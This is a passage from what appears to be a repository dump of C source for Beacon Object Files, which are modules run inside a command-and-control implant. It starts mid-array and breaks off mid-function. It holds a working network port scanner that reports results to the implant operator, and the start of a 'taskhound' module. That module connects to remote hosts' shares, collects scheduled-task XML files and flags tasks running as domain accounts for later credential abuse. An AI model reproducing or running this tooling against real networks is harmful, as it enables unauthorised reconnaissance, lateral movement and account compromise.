{\n    80, 443, 8080, 8443, 8000, 8888,\n    1433, 1521, 3306, 5432, 6379, 27017, 9200, 9300,\n    135, 139, 445, 3389, 5985, 5986, 88, 389, 636, 3268, 3269,\n    22, 23,\n    21, 25, 53, 69, 110, 111, 143, 993, 995,\n    7, 9, 13, 19, 37, 79, 113, 119, 1025, 1434, 1604, 1723, 2000, 2001, 2048, 2049, 2100, 3128, 5000, 5060, 5061, 5900, 6000, 6667, 8081, 9000, 10000, 11211,\n    0\n};\n\nvoid bofstart() {}\nvoid bofstop() {}\n\nint tcp_port_scan(const char* ip, int port, int timeout)\n{\n    SOCKET sock = WS2_32$socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n    if (sock == INVALID_SOCKET) {\n        return 0;\n    }\n\n    u_long mode = 1;\n    WS2_32$ioctlsocket(sock, FIONBIO, &mode);\n\n    struct sockaddr_in addr;\n    MSVCRT$memset(&addr, 0, sizeof(addr));\n    addr.sin_family = AF_INET;\n    addr.sin_port = WS2_32$htons((unsigned short)port);\n\n    unsigned long a = WS2_32$inet_addr(ip);\n    if (a == INADDR_NONE) {\n        WS2_32$closesocket(sock);\n        return 0;\n    }\n    addr.sin_addr.s_addr = a;\n\n    WS2_32$connect(sock, (struct sockaddr*)&addr, sizeof(addr));\n\n    fd_set write_set;\n    FD_ZERO(&write_set);\n    FD_SET(sock, &write_set);\n\n    struct timeval tv;\n    tv.tv_sec = timeout / 1000;\n    tv.tv_usec = (timeout % 1000) * 1000;\n\n    int result = WS2_32$select((int)(sock + 1), NULL, &write_set, NULL, &tv);\n\n    if (result > 0) {\n        int err = 0;\n        int len = sizeof(err);\n        if (WS2_32$getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&err, &len) == 0) {\n            WS2_32$closesocket(sock);\n            if (err == 0) {\n                return 1;\n            } else {\n                return 0;\n            }\n        } else {\n            WS2_32$closesocket(sock);\n            return 0;\n        }\n    }\n\n    WS2_32$closesocket(sock);\n    return 0;\n}\n\n\nconst char* get_service_name(int port)\n{\n    switch (port) {\n        case 21: return \"ftp\";\n        case 22: return \"ssh\";\n        case 23: return \"telnet\";\n        case 25: return \"smtp\";\n        case 53: return \"dns\";\n        case 69: return \"tftp\";\n        case 70: return \"gopher\";\n        case 79: return \"finger\";\n        case 80: return \"http\";\n        case 88: return \"kerberos\";\n        case 110: return \"pop3\";\n        case 135: return \"rpc\";\n        case 139: return \"netbios\";\n        case 143: return \"imap\";\n        case 443: return \"https\";\n        case 445: return \"smb\";\n        case 993: return \"imaps\";\n        case 995: return \"pop3s\";\n        case 1433: return \"mssql\";\n        case 1521: return \"oracle\";\n        case 3306: return \"mysql\";\n        case 3389: return \"rdp\";\n        case 5432: return \"postgres\";\n        case 5985: return \"winrm\";\n        case 5986: return \"winrm-ssl\";\n        case 6379: return \"redis\";\n        case 8080: return \"http-alt\";\n        case 8443: return \"https-alt\";\n        case 27017: return \"mongodb\";\n        default:\n            if (port >= 70 && port <= 90) {\n                return \"custom\";\n            }\n            return \"unknown\";\n    }\n}\n\nint parse_single_ip(const char* target, char* ip_str)\n{\n    MSVCRT$strcpy(ip_str, target);\n    return 1;\n}\n\nint parse_cidr_simple(const char* cidr, char*** ip_list, int* count)\n{\n    char base_ip[16];\n    char* slash = MSVCRT$strchr(cidr, '/');\n\n    if (!slash) {\n        return 0;\n    }\n\n    int ip_len = slash - cidr;\n    if (ip_len >= 16) {\n        return 0;\n    }\n\n    MSVCRT$memcpy(base_ip, cidr, ip_len);\n    base_ip[ip_len] = '\\0';\n\n    int mask = 0;\n    const char* mask_ptr = slash + 1;\n    while (*mask_ptr >= '0' && *mask_ptr <= '9') {\n        mask = mask * 10 + (*mask_ptr - '0');\n        mask_ptr++;\n    }\n\n    if (mask != 24) {\n        BeaconPrintf(CALLBACK_ERROR, \"Only /24 CIDR notation supported in this version\\n\");\n        return 0;\n    }\n\n    char* last_dot = NULL;\n    for (int i = 0; base_ip[i]; i++) {\n        if (base_ip[i] == '.') {\n            last_dot = &base_ip[i];\n        }\n    }\n    if (!last_dot) {\n        return 0;\n    }\n\n    int network_len = last_dot - base_ip + 1;\n\n    *count = 254;\n    *ip_list = (char**)intAlloc(*count * sizeof(char*));\n    if (!*ip_list) {\n        return 0;\n    }\n\n    for (int i = 0; i < *count; i++) {\n        (*ip_list)[i] = (char*)intAlloc(16 * sizeof(char));\n        if (!(*ip_list)[i]) {\n            break;\n        }\n\n        MSVCRT$memcpy((*ip_list)[i], base_ip, network_len);\n        MSVCRT$sprintf((*ip_list)[i] + network_len, \"%d\", i + 1);\n    }\n\n    return 1;\n}\n\nint parse_target_list_extended(const char* targets, char*** ip_list, int* count)\n{\n    if (!targets || !targets[0]) return 0;\n\n    char* copy = (char*)intAlloc(MSVCRT$strlen(targets) + 1);\n    if (!copy) return 0;\n    MSVCRT$strcpy(copy, targets);\n\n    char* token = MSVCRT$strtok(copy, \",\");\n    char** result = NULL;\n    int total = 0;\n\n    while (token)\n    {\n        while (*token == ' ') token++;\n\n        char* end = token + MSVCRT$strlen(token) - 1;\n        while (end > token && (*end == ' ' || *end == '\\r' || *end == '\\n')) *end-- = '\\0';\n\n        char** tmp_list = NULL;\n        int tmp_count = 0;\n\n        if (MSVCRT$strchr(token, '/')) {\n            if (!parse_cidr_simple(token, &tmp_list, &tmp_count)) {\n                BeaconPrintf(CALLBACK_ERROR, \"Invalid CIDR: %s\\n\", token);\n                token = MSVCRT$strtok(NULL, \",\");\n                continue;\n            }\n        }\n        else if (MSVCRT$strchr(token, '-')) {\n            char start_ip[32] = {0}, end_ip[32] = {0};\n            char* dash = MSVCRT$strchr(token, '-');\n            if (!dash) { token = MSVCRT$strtok(NULL, \",\"); continue; }\n\n            *dash = '\\0';\n            MSVCRT$strcpy(start_ip, token);\n            MSVCRT$strcpy(end_ip, dash + 1);\n\n            unsigned long start_a = WS2_32$inet_addr(start_ip);\n            unsigned long end_a   = WS2_32$inet_addr(end_ip);\n\n            if (start_a == INADDR_NONE || end_a == INADDR_NONE) {\n                BeaconPrintf(CALLBACK_ERROR, \"Invalid IP range: %s-%s\\n\", start_ip, end_ip);\n                token = MSVCRT$strtok(NULL, \",\");\n                continue;\n            }\n\n            DWORD start = WS2_32$ntohl(start_a);\n            DWORD end   = WS2_32$ntohl(end_a);\n            if (end < start) {\n                DWORD tmp = start; start = end; end = tmp;\n            }\n\n            DWORD range_size = end - start + 1;\n            if (range_size > 1024) range_size = 1024;\n\n            tmp_list = (char**)intAlloc(range_size * sizeof(char*));\n            if (!tmp_list) break;\n\n            for (DWORD i = 0; i < range_size; i++) {\n                struct in_addr addr;\n                addr.s_addr = WS2_32$htonl(start + i);\n                tmp_list[i] = (char*)intAlloc(16);\n                char *s = WS2_32$inet_ntoa(addr);\n                if (s) {\n                    MSVCRT$strcpy(tmp_list[i], s);\n                } else {\n                    MSVCRT$strcpy(tmp_list[i], \"0.0.0.0\");\n                }\n            }\n            tmp_count = (int)range_size;\n        }\n        else {\n            tmp_list = (char**)intAlloc(sizeof(char*));\n            tmp_list[0] = (char*)intAlloc(16);\n            MSVCRT$strcpy(tmp_list[0], token);\n            tmp_count = 1;\n        }\n\n        char** new_result = (char**)intAlloc((total + tmp_count) * sizeof(char*));\n        if (result) {\n            for (int i = 0; i < total; i++) new_result[i] = result[i];\n            intFree(result);\n        }\n        for (int j = 0; j < tmp_count; j++) new_result[total + j] = tmp_list[j];\n        intFree(tmp_list);\n\n        total += tmp_count;\n        result = new_result;\n\n        token = MSVCRT$strtok(NULL, \",\");\n    }\n\n    intFree(copy);\n    *ip_list = result;\n    *count = total;\n\n    return (total > 0);\n}\n\n\nint* parse_custom_ports(const char* port_spec, int* count)\n{\n    if (!port_spec || !port_spec[0]) {\n        return NULL;\n    }\n\n    char* spec_copy = (char*)intAlloc(MSVCRT$strlen(port_spec) + 1);\n    if (!spec_copy) {\n        return NULL;\n    }\n    MSVCRT$strcpy(spec_copy, port_spec);\n\n    *count = 0;\n    char* token = MSVCRT$strtok(spec_copy, \",\");\n    while (token) {\n        while (*token == ' ') token++;\n\n        char* dash = MSVCRT$strchr(token, '-');\n        if (dash) {\n            int start_port = 0, end_port = 0;\n\n            char* ptr = token;\n            while (*ptr >= '0' && *ptr <= '9') {\n                start_port = start_port * 10 + (*ptr - '0');\n                ptr++;\n            }\n\n            ptr = dash + 1;\n\n            while (*ptr >= '0' && *ptr <= '9') {\n                end_port = end_port * 10 + (*ptr - '0');\n                ptr++;\n            }\n\n            if (start_port > 0 && end_port > 0 && start_port <= end_port && end_port <= 65535) {\n                int range_count = end_port - start_port + 1;\n                if (range_count > 1000) {\n                    range_count = 1000;\n                }\n                *count += range_count;\n            }\n        } else {\n            int port = 0;\n            char* ptr = token;\n            while (*ptr >= '0' && *ptr <= '9') {\n                port = port * 10 + (*ptr - '0');\n                ptr++;\n            }\n\n            if (port > 0 && port <= 65535) {\n                (*count)++;\n            }\n        }\n\n        token = MSVCRT$strtok(NULL, \",\");\n    }\n\n    if (*count == 0) {\n        intFree(spec_copy);\n        return NULL;\n    }\n\n    int* ports = (int*)intAlloc(*count * sizeof(int));\n    if (!ports) {\n        intFree(spec_copy);\n        return NULL;\n    }\n\n    MSVCRT$strcpy(spec_copy, port_spec);\n    int port_index = 0;\n\n    token = MSVCRT$strtok(spec_copy, \",\");\n    while (token && port_index < *count) {\n        while (*token == ' ') token++;\n\n        char* dash = MSVCRT$strchr(token, '-');\n        if (dash) {\n            int start_port = 0, end_port = 0;\n\n            char* ptr = token;\n            while (*ptr >= '0' && *ptr <= '9') {\n                start_port = start_port * 10 + (*ptr - '0');\n                ptr++;\n            }\n\n            ptr = dash + 1;\n\n            while (*ptr >= '0' && *ptr <= '9') {\n                end_port = end_port * 10 + (*ptr - '0');\n                ptr++;\n            }\n\n            if (start_port > 0 && end_port > 0 && start_port <= end_port && end_port <= 65535) {\n                int range_count = end_port - start_port + 1;\n                if (range_count > 1000) {\n                    range_count = 1000;\n                    end_port = start_port + 999;\n                }\n\n                for (int i = 0; i < range_count && port_index < *count; i++) {\n                    ports[port_index++] = start_port + i;\n                }\n            }\n        } else {\n            int port = 0;\n            char* ptr = token;\n            while (*ptr >= '0' && *ptr <= '9') {\n                port = port * 10 + (*ptr - '0');\n                ptr++;\n            }\n\n            if (port > 0 && port <= 65535) {\n                ports[port_index++] = port;\n            }\n        }\n\n        token = MSVCRT$strtok(NULL, \",\");\n    }\n\n    intFree(spec_copy);\n    return ports;\n}\n\nvoid simple_port_scan(const char* target, int scan_level, const char* custom_ports)\n{\n    char** ip_list = NULL;\n    int ip_count = 0;\n    int* ports = NULL;\n    int port_count = 0;\n    int free_ports = 0;\n    int need_cleanup_wsa = 0;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Starting port scan for: %s\\n\", target);\n\n    WSADATA wsa;\n    if (WS2_32$WSAStartup(MAKEWORD(2,2), &wsa) != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"WSAStartup failed\\n\");\n        return;\n    }\n    need_cleanup_wsa = 1;\n\n    if (!parse_target_list_extended(target, &ip_list, &ip_count)) {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to parse targets: %s\\n\", target);\n        goto cleanup;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Scanning %d hosts\\n\", ip_count);\n\n    if (scan_level == 0 && custom_ports && custom_ports[0]) {\n        ports = parse_custom_ports(custom_ports, &port_count);\n        if (ports) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Using custom ports: %s (%d ports)\\n\", custom_ports, port_count);\n            free_ports = 1;\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"Invalid custom port specification: %s\\n\", custom_ports);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Using default port list instead\\n\");\n            scan_level = 2;\n        }\n    }\n\n    if (scan_level > 0) {\n        switch (scan_level) {\n            case 1:\n                ports = g_level1_ports;\n                for (port_count = 0; g_level1_ports[port_count] != 0; port_count++);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] Level 1 scan: Web & Database ports (%d ports)\\n\", port_count);\n                break;\n            case 2:\n                ports = g_level2_ports;\n                for (port_count = 0; g_level2_ports[port_count] != 0; port_count++);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] Level 2 scan: Web, Database & OS-specific ports (%d ports)\\n\", port_count);\n                break;\n            case 3:\n                ports = g_level3_ports;\n                for (port_count = 0; g_level3_ports[port_count] != 0; port_count++);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] Level 3 scan: Comprehensive ports (%d ports)\\n\", port_count);\n                break;\n            default:\n                ports = g_level2_ports;\n                for (port_count = 0; g_level2_ports[port_count] != 0; port_count++);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] Default scan: Web, Database & OS-specific ports (%d ports)\\n\", port_count);\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Scanning %d ports\\n\", port_count);\n\n    int total_open_ports = 0;\n    for (int i = 0; i < ip_count; i++) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Scanning %s...\\n\", ip_list[i]);\n\n        int host_open_ports = 0;\n\n        for (int batch_start = 0; batch_start < port_count; batch_start += SCAN_BATCH_SIZE) {\n            int batch_end = batch_start + SCAN_BATCH_SIZE;\n            if (batch_end > port_count) {\n                batch_end = port_count;\n            }\n\n            for (int j = batch_start; j < batch_end; j++) {\n                int port = ports[j];\n                int state = tcp_port_scan(ip_list[i], port, DEFAULT_TIMEOUT);\n\n                if (state > 0) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"  [+] Port %d (%s) - OPEN\\n\",\n                               port, get_service_name(port));\n                    host_open_ports++;\n                    total_open_ports++;\n                }\n            }\n\n            if (batch_end < port_count) {\n                KERNEL32$Sleep(BATCH_DELAY_MS);\n            }\n        }\n\n        if (host_open_ports > 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Host %s: %d open ports found\\n\",\n                       ip_list[i], host_open_ports);\n        }\n\n        if (ip_count > 10 && (i + 1) % 10 == 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Progress: %d/%d hosts scanned\\n\", i + 1, ip_count);\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Scan completed. Found %d open ports total.\\n\", total_open_ports);\n\ncleanup:\n    if (ip_list) {\n        for (int i = 0; i < ip_count; i++) {\n            if (ip_list[i]) {\n                intFree(ip_list[i]);\n            }\n        }\n        intFree(ip_list);\n        ip_list = NULL;\n    }\n\n    if (free_ports && ports) {\n        intFree(ports);\n        ports = NULL;\n    }\n\n    if (need_cleanup_wsa) {\n        WS2_32$WSACleanup();\n    }\n}\n\n\nint go(char* args, int len)\n{\n    char target[256] = {0};\n    int scan_level = 2;\n    char custom_ports[512] = {0};\n\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n\n    int target_size = 0;\n    char* target_ptr = BeaconDataExtract(&parser, &target_size);\n    if (target_ptr && target_size > 0) {\n        MSVCRT$memcpy(target, target_ptr, target_size);\n        target[target_size] = '\\0';\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"Parameters are not supported\\n\");\n        return 0;\n    }\n\n    scan_level = BeaconDataInt(&parser);\n\n    int ports_size = 0;\n    char* ports_ptr = BeaconDataExtract(&parser, &ports_size);\n    if (ports_ptr && ports_size > 0) {\n        MSVCRT$memcpy(custom_ports, ports_ptr, ports_size);\n        custom_ports[ports_size] = '\\0';\n    }\n\n    simple_port_scan(target, scan_level, custom_ports);\n\n    return 0;\n}"
  },
  {
    "path": "SAR-BOF/taskhound/taskhound.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n\n#ifdef BOF\nvoid ___chkstk_ms(void){}\nvoid __chkstk_ms(void){}\n#endif\n\n// Constants\n#define MAX_PATH_LENGTH 1024\n#define MAX_BUFFER_SIZE 8192\n#define MAX_STRING_LENGTH 512\n#define MAX_OUTPUT_LINE_SIZE 2048\n#define MAX_FILE_SIZE 1048576  // 1MB file size limit\n#define UTF16_BOM_SIZE 2\n#define XML_BOM_CHECK_SIZE 1000\n\n// Prevent any accidental use of C library functions\n#define strlen bof_strlen\n\n// ============================================================================\n// Windows API Function Pointers\n// ============================================================================\n\n// MPR.dll (Network Resource API)\ntypedef DWORD (WINAPI *pWNetAddConnection2A)(LPNETRESOURCEA, LPCSTR, LPCSTR, DWORD);\ntypedef DWORD (WINAPI *pWNetCancelConnection2A)(LPCSTR, DWORD, BOOL);\n\n// KERNEL32.dll (File System & Memory Management)\ntypedef HANDLE (WINAPI *pFindFirstFileA)(LPCSTR, LPWIN32_FIND_DATAA);\ntypedef BOOL (WINAPI *pFindNextFileA)(HANDLE, LPWIN32_FIND_DATAA);\ntypedef BOOL (WINAPI *pFindClose)(HANDLE);\ntypedef HANDLE (WINAPI *pCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);\ntypedef BOOL (WINAPI *pReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);\ntypedef BOOL (WINAPI *pWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);\ntypedef BOOL (WINAPI *pCloseHandle)(HANDLE);\ntypedef DWORD (WINAPI *pGetFileSize)(HANDLE, LPDWORD);\ntypedef BOOL (WINAPI *pCreateDirectoryA)(LPCSTR, LPSECURITY_ATTRIBUTES);\ntypedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);\ntypedef BOOL (WINAPI *pVirtualFree)(LPVOID, SIZE_T, DWORD);\ntypedef DWORD (WINAPI *pGetLastError)(VOID);\n\n// ============================================================================\n// String Utility Functions\n// ============================================================================\n\n/**\n * Safe string length calculation with bounds checking\n */\nint bof_strlen(const char* str) {\n    if (!str) return 0;\n    int len = 0;\n    while (str[len] && len < MAX_STRING_LENGTH) len++;\n    return len;\n}\n\n/**\n * Safe string copy with bounds checking\n */\nBOOL bof_strcpy_safe(char* dest, const char* src, int dest_size) {\n    if (!dest || !src || dest_size <= 0) return FALSE;\n    \n    int i = 0;\n    while (src[i] && i < (dest_size - 1)) {\n        dest[i] = src[i];\n        i++;\n    }\n    dest[i] = '\\0';\n    return TRUE;\n}\n\n/**\n * Safe string concatenation with bounds checking\n */\nBOOL bof_strcat_safe(char* dest, const char* src, int dest_size) {\n    if (!dest || !src || dest_size <= 0) return FALSE;\n    \n    int dest_len = bof_strlen(dest);\n    int remaining = dest_size - dest_len - 1;\n    \n    if (remaining <= 0) return FALSE;\n    \n    int i = 0;\n    while (src[i] && i < remaining) {\n        dest[dest_len + i] = src[i];\n        i++;\n    }\n    dest[dest_len + i] = '\\0';\n    return TRUE;\n}\n\n/**\n * String comparison function\n */\nint bof_strcmp(const char* s1, const char* s2) {\n    if (!s1 || !s2) return s1 ? 1 : (s2 ? -1 : 0);\n    while (*s1 && (*s1 == *s2)) {\n        s1++;\n        s2++;\n    }\n    return *(unsigned char*)s1 - *(unsigned char*)s2;\n}\n\n/**\n * Memory initialization function\n */\nvoid bof_memset(void* ptr, int value, size_t num) {\n    if (!ptr) return;\n    unsigned char* p = (unsigned char*)ptr;\n    while (num--) *p++ = (unsigned char)value;\n}\n\n/**\n * String search function\n */\nchar* bof_strstr(const char* haystack, const char* needle) {\n    if (!needle || !haystack) return NULL;\n    \n    int needle_len = (int)bof_strlen(needle);\n    if (needle_len == 0) return (char*)haystack;\n    \n    for (const char* p = haystack; *p; p++) {\n        int i;\n        for (i = 0; i < needle_len && p[i] == needle[i]; i++);\n        if (i == needle_len) {\n            return (char*)p;\n        }\n    }\n    return NULL;\n}\n\n// Convert string to uppercase (in-place)\nvoid bof_strupper(char* str) {\n    while (*str) {\n        if (*str >= 'a' && *str <= 'z') {\n            *str = *str - 'a' + 'A';\n        }\n        str++;\n    }\n}\n\n// Check if a RunAs value appears to represent a domain account (not local/system)\nBOOL looks_like_domain_user(const char* runas) {\n    if (!runas || bof_strlen(runas) == 0) return FALSE;\n    \n    char temp[512];\n    if (!bof_strcpy_safe(temp, runas, sizeof(temp))) return FALSE;\n    bof_strupper(temp);\n    \n    // Exclude well-known local SIDs (SYSTEM, LOCAL SERVICE, NETWORK SERVICE)\n    if (bof_strstr(temp, \"S-1-5-18\") || bof_strstr(temp, \"S-1-5-19\") || bof_strstr(temp, \"S-1-5-20\")) {\n        return FALSE;\n    }\n    \n    // If username contains a backslash (DOMAIN\\user), treat as domain account\n    if (bof_strstr(temp, \"\\\\\")) {\n        return TRUE;\n    }\n    \n    // If it looks like a UPN (user@domain.com), treat as domain user\n    if (bof_strstr(temp, \"@\") || bof_strstr(temp, \".\")) {\n        return TRUE;\n    }\n    \n    return FALSE;\n}\n\n// Function prototype\nvoid go(char* args, int len);\n\n// Helper functions for XML parsing\nchar* find_xml_value(char* xml, const char* tag_name, pVirtualAlloc fpVirtualAlloc) {\n    char start_tag[64];\n    char end_tag[64];\n    \n    // Build start and end tags\n    if (!bof_strcpy_safe(start_tag, \"<\", sizeof(start_tag))) return NULL;\n    if (!bof_strcat_safe(start_tag, tag_name, sizeof(start_tag))) return NULL;\n    if (!bof_strcat_safe(start_tag, \">\", sizeof(start_tag))) return NULL;\n    \n    if (!bof_strcpy_safe(end_tag, \"</\", sizeof(end_tag))) return NULL;\n    if (!bof_strcat_safe(end_tag, tag_name, sizeof(end_tag))) return NULL;\n    if (!bof_strcat_safe(end_tag, \">\", sizeof(end_tag))) return NULL;\n    \n    // Find start tag\n    char* start_pos = bof_strstr(xml, start_tag);\n    if (!start_pos) return NULL;\n    \n    start_pos += bof_strlen(start_tag);\n    \n    // Find end tag\n    char* end_pos = bof_strstr(start_pos, end_tag);\n    if (!end_pos) return NULL;\n    \n    // Allocate and copy the value\n    int value_len = (int)(end_pos - start_pos);\n    char* value = (char*)fpVirtualAlloc(NULL, value_len + 1, MEM_COMMIT, PAGE_READWRITE);\n    if (value) {\n        int i;\n        for (i = 0; i < value_len; i++) {\n            value[i] = start_pos[i];\n        }\n        value[value_len] = '\\0';\n    }\n    \n    return value;\n}\n\n// ============================================================================\n// File System Helper Functions\n// ============================================================================\n\n/**\n * Builds directory path with proper backslash handling\n */\nBOOL build_directory_path(char* dest, const char* base_path, const char* sub_path, int dest_size) {\n    if (!dest || !base_path || !sub_path || dest_size <= 0) return FALSE;\n    \n    if (!bof_strcpy_safe(dest, base_path, dest_size)) return FALSE;\n    \n    // Check if base_path already ends with backslash\n    int base_len = bof_strlen(base_path);\n    if (base_len > 0 && base_path[base_len - 1] != '\\\\') {\n        if (!bof_strcat_safe(dest, \"\\\\\", dest_size)) return FALSE;\n    }\n    \n    return bof_strcat_safe(dest, sub_path, dest_size);\n}\n\n/**\n * Creates directory structure recursively for offline mode compatibility\n */\nBOOL create_task_directory_structure(const char* save_dir, const char* target_host, \n                                   pCreateDirectoryA fpCreateDirectoryA, char* final_path, int final_path_size) {\n    if (!save_dir || !target_host || !fpCreateDirectoryA || !final_path || final_path_size <= 0) {\n        return FALSE;\n    }\n    \n    char temp_path[MAX_PATH_LENGTH];\n    \n    // First create the save_dir if it doesn't exist\n    fpCreateDirectoryA(save_dir, NULL);\n    \n    // Create save_dir\\hostname\n    if (!build_directory_path(temp_path, save_dir, target_host, sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Create save_dir\\hostname\\Windows\n    if (!bof_strcat_safe(temp_path, \"\\\\Windows\", sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Create save_dir\\hostname\\Windows\\System32\n    if (!bof_strcat_safe(temp_path, \"\\\\System32\", sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Create save_dir\\hostname\\Windows\\System32\\Tasks\n    if (!bof_strcat_safe(temp_path, \"\\\\Tasks\", sizeof(temp_path))) return FALSE;\n    fpCreateDirectoryA(temp_path, NULL);\n    \n    // Copy final path to output\n    return bof_strcpy_safe(final_path, temp_path, final_path_size);\n}\n\n/**\n * Writes raw buffer content to file with error handling\n */\nBOOL write_raw_file(const char* file_path, const char* raw_content, DWORD content_length, \n                   pCreateFileA fpCreateFileA, pWriteFile fpWriteFile, \n                   pCloseHandle fpCloseHandle, pGetLastError fpGetLastError) {\n    if (!file_path || !raw_content || content_length == 0) return FALSE;\n    \n    HANDLE hFile = fpCreateFileA(file_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        DWORD error = fpGetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"[-] CreateFile failed for %s (Error: %d)\\n\", file_path, error);\n        return FALSE;\n    }\n    \n    // Write raw content (preserves UTF-16 BOM and original encoding)\n    DWORD bytes_written;\n    BOOL result = fpWriteFile(hFile, raw_content, content_length, &bytes_written, NULL);\n    \n    if (!result) {\n        DWORD error = fpGetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"[-] WriteFile failed for %s (Error: %d)\\n\", file_path, error);\n    } else if (bytes_written != content_length) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Partial write for %s (%d/%d bytes)\\n\", file_path, bytes_written, content_length);\n        result = FALSE;\n    }\n    \n    fpCloseHandle(hFile);\n    return result;\n}\n\n/**\n * Writes XML content to file with error handling\n */\nBOOL write_xml_file(const char* file_path, const char* xml_content, \n                   pCreateFileA fpCreateFileA, pWriteFile fpWriteFile, \n                   pCloseHandle fpCloseHandle, pGetLastError fpGetLastError) {\n    if (!file_path || !xml_content) return FALSE;\n    \n    HANDLE hFile = fpCreateFileA(file_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        DWORD error = fpGetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"[-] CreateFile failed for %s (Error: %d)\\n\", file_path, error);\n        return FALSE;\n    }\n    \n    // Write content\n    DWORD content_len = (DWORD)bof_strlen(xml_content);\n    DWORD bytes_written;\n    BOOL result = fpWriteFile(hFile, xml_content, content_len, &bytes_written, NULL);\n    \n    if (!result) {\n        DWORD error = fpGetLastError();\n        BeaconPrintf(CALLBACK_ERROR, \"[-] WriteFile failed for %s (Error: %d)\\n\", file_path, error);\n    } else if (bytes_written != content_len) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Partial write for %s (%d/%d bytes)\\n\", file_path, bytes_written, content_len);\n        result = FALSE;\n    }\n    \n    fpCloseHandle(hFile);\n    return result;\n}\n\n/**\n * Main function to save task XML with proper directory structure\n */\nBOOL save_task_xml(char* save_dir, char* target_host, char* task_name, char* xml_content, \n                   pCreateFileA fpCreateFileA, pWriteFile fpWriteFile, pCloseHandle fpCloseHandle,\n                   pCreateDirectoryA fpCreateDirectoryA, pGetLastError fpGetLastError) {\n    \n    if (!save_dir || !target_host || !task_name || !xml_content) return FALSE;\n    \n    char tasks_dir_path[MAX_PATH_LENGTH];\n    char file_path[MAX_PATH_LENGTH];\n    \n    // Create the complete directory structure\n    if (!create_task_directory_structure(save_dir, target_host, fpCreateDirectoryA, \n                                        tasks_dir_path, sizeof(tasks_dir_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create directory structure\\n\");\n        return FALSE;\n    }\n    \n    // Build complete file path\n    if (!build_directory_path(file_path, tasks_dir_path, task_name, sizeof(file_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build file path\\n\");\n        return FALSE;\n    }\n    \n    // Write the XML file\n    return write_xml_file(file_path, xml_content, fpCreateFileA, fpWriteFile, \n                         fpCloseHandle, fpGetLastError);\n}\n\n/**\n * Saves raw task XML buffer to file with proper directory structure (for offline compatibility)\n */\nBOOL save_raw_task_xml(char* save_dir, char* target_host, const char* task_name, char* raw_buffer, DWORD buffer_size,\n                      pCreateFileA fpCreateFileA, pWriteFile fpWriteFile, pCloseHandle fpCloseHandle,\n                      pCreateDirectoryA fpCreateDirectoryA, pGetLastError fpGetLastError) {\n    \n    if (!save_dir || !target_host || !task_name || !raw_buffer || buffer_size == 0) return FALSE;\n    \n    char tasks_dir_path[MAX_PATH_LENGTH];\n    char file_path[MAX_PATH_LENGTH];\n    \n    // Create the complete directory structure\n    if (!create_task_directory_structure(save_dir, target_host, fpCreateDirectoryA, \n                                        tasks_dir_path, sizeof(tasks_dir_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create directory structure\\n\");\n        return FALSE;\n    }\n    \n    // Build complete file path\n    if (!build_directory_path(file_path, tasks_dir_path, task_name, sizeof(file_path))) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build file path\\n\");\n        return FALSE;\n    }\n    \n    // Write the raw XML file (preserves original encoding including UTF-16 BOM)\n    return write_raw_file(file_path, raw_buffer, buffer_size, fpCreateFileA, fpWriteFile, \n                         fpCloseHandle, fpGetLastError);\n}\n\n// ============================================================================\n// XML Processing Functions\n// ============================================================================\n\n/**\n * Detects UTF-16 BOM and converts content to ASCII if needed\n */\nchar* process_xml_encoding(char* buffer, DWORD bytes_read, pVirtualAlloc fpVirtualAlloc) {\n    if (!buffer || bytes_read == 0) return NULL;\n    \n    char* xml_content = NULL;\n    \n    // Check if file is UTF-16 encoded (BOM: FF FE)\n    if (bytes_read >= UTF16_BOM_SIZE && \n        (unsigned char)buffer[0] == 0xFF && (unsigned char)buffer[1] == 0xFE) {\n        \n        // UTF-16LE BOM detected - convert to ASCII\n        xml_content = (char*)fpVirtualAlloc(NULL, (bytes_read / 2) + 1, MEM_COMMIT, 